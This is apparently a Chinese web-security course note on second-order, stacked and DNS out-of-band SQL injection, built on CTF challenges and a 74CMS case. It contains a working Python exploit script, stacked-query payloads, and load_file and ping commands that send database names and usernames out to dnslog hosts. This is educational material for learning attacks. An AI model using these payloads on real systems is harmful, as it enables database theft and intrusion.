小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点: 

1、数据库堆叠注入 

根据数据库类型决定是否支持多条语句执行 

2、数据库二次注入 

应用功能逻辑涉及上导致的先写入后组合的注入 

3、数据库 Dnslog 注入 

解决不回显(反向连接),sql 注入,命令执行,SSRF 等 

4、黑盒模式分析以上 

二次注入:插入后调用显示操作符合 

堆叠注入:判断注入后直接调多条执行 

DNS 注入:在注入上没太大利用价值,其他还行

 

 

 

#二次注入-74CMS&网鼎杯 2018Unfinish 

 比如:找回密码功能:

得到你的用户名(你找回谁的密码)

        进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

       接受获取你的用户名,修改密码update

 

但如果在注册用户名时,写了一个SQL注入的语句

        则当进行修改密码时,会对用户名进行调用

            即:update user set password=’xiaodi’ where username=’SQL注入代码’

        从而形成注入点

        

CTF-[网鼎杯 2018]Unfinish-黑盒 

先进入register.php页面

 通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

 

分析:

注册用户:添加insert

        Insert into user(email,username,password) value(‘3178151661245@qq.***’,’AT’,’123456’)

 

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email=’31781511245@qq.***’

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

 我们这里使用.py进行制造payload

 

import requests

from bs4 import BeautifulSoup

import time 

 

 

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.***:81/'

 

m = ''

for i in range(100):

    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)  

    register = {'email':'abc{}@qq.***'.format(i),'username':payload,'password':'123456'}

    login = {'email':'abc{}@qq.***'.format(i),'password':'123456'}

    req = requests.session()

    r1 = req.post(url+'register.php',data = register)

    r2 = req.post(url+'login.php', data = login)

    r3 = req.post(url+'index.php')

    html = r3.text

    soup = BeautifulSoup(html,'html.parser')

    UserName = soup.span.string.strip()

    if int(UserName) == 0:

        break

    m += chr(int(UserName))

    print(m)

    time.sleep(1)

 

 CMS-74CMS 个人会员中心-黑白盒 

黑盒:

对学校名称进行注入

 我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value (‘xiaodi’,address=user#)

 

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

 抓学校地址该网页的包,并进行查看其相关函数 make4_save

 发现有SQL语句——insert:会把修改的内容插入到数据库的相关位置

 

 对其SQL语句进行监听

 

 #堆叠注入-数据库类型&强网杯 2019 随便注

 

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等 

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

 

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

 

参考:https://www.***blogs.***/Timesi/p/11426348.html

';show databases; 

';show tables; 

';show columns from `1919810931114514`; 

';select flag from `1919810931114514`; 

';SeT 

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531 

3460;prepare execsql from @a;execute execsql; 

 

 

#DNS 利用-平台介绍&SQL 注入&命令执行等 

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

 

基本只针对于MYSQL——load_file

 

1.平台 

http://www.dnslog.*** 

http://admin.dnslog.link 

http://ceye.io 

2.应用场景: 

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等 

SQL 注入: 

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.***\\aa')); 

and (select load_file(concat('//',(select 

database()),'.69knl9.dnslog.***/abc'))) 

命令执行: 

ping %USERNAME%.7logee.dnslog.*** 

接受的主机的username

 

 

转载请说明出处内容投诉
CSS教程_站长资源网 » 小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买